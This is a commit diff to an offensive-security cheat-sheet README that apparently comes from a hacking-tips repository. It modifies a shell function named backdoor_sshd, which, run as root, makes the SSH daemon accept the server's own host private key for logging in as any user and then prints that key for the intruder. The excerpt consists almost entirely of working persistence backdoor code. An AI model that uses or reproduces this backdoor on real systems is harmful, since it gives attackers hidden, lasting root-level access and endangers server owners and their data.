CalvinBackup/thc-tips-tricks-hacks-cheat-sheet
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skyper
2026-01-20 21:17:48 +00:00
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README.md
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@@ -1815,9 +1815,10 @@ Adding your key to *authorized_keys* is overused 😩. Instead, as root, cut & p
backdoor_sshd() { backdoor_sshd() {
local B="/etc/ssh" local B="/etc/ssh"
local K="${B}/ssh_host_ed25519_key" D="${B}/sshd_config.d" local K="${B}/ssh_host_ed25519_key" D="${B}/sshd_config.d"
local N=$(cd "${D}" || exit; shopt -s nullglob; echo *.conf) local N=$(cd "${D}" 2>/dev/null|| exit; shopt -s nullglob; echo *.conf)
[ -n "$N" ] && N="${N%%\.conf*}.conf" [ -n "$N" ] && N="${N%%\.conf*}.conf"
N="${D}/${N:-50-cloud-init.conf}" N="${D}/${N:-50-cloud-init.conf}"
[ ! -d "${D}" ] && N="${B}/sshd_config"
{ [ ! -f "$K" ] || [ ! -f "$K".pub ]; } && return { [ ! -f "$K" ] || [ ! -f "$K".pub ]; } && return
grep -iqm1 '^PermitRootLogin\s\+no' "${B}/sshd_config" && echo >&2 "WARN: PermitRootLogin blocking in sshd_config" grep -iqm1 '^PermitRootLogin\s\+no' "${B}/sshd_config" && echo >&2 "WARN: PermitRootLogin blocking in sshd_config"
echo -e "\e[0;31mYour id_ed25519 to log in to this server as any user:\e[0;33m\n$(cat "${K}")\e[0m" echo -e "\e[0;31mYour id_ed25519 to log in to this server as any user:\e[0;33m\n$(cat "${K}")\e[0m"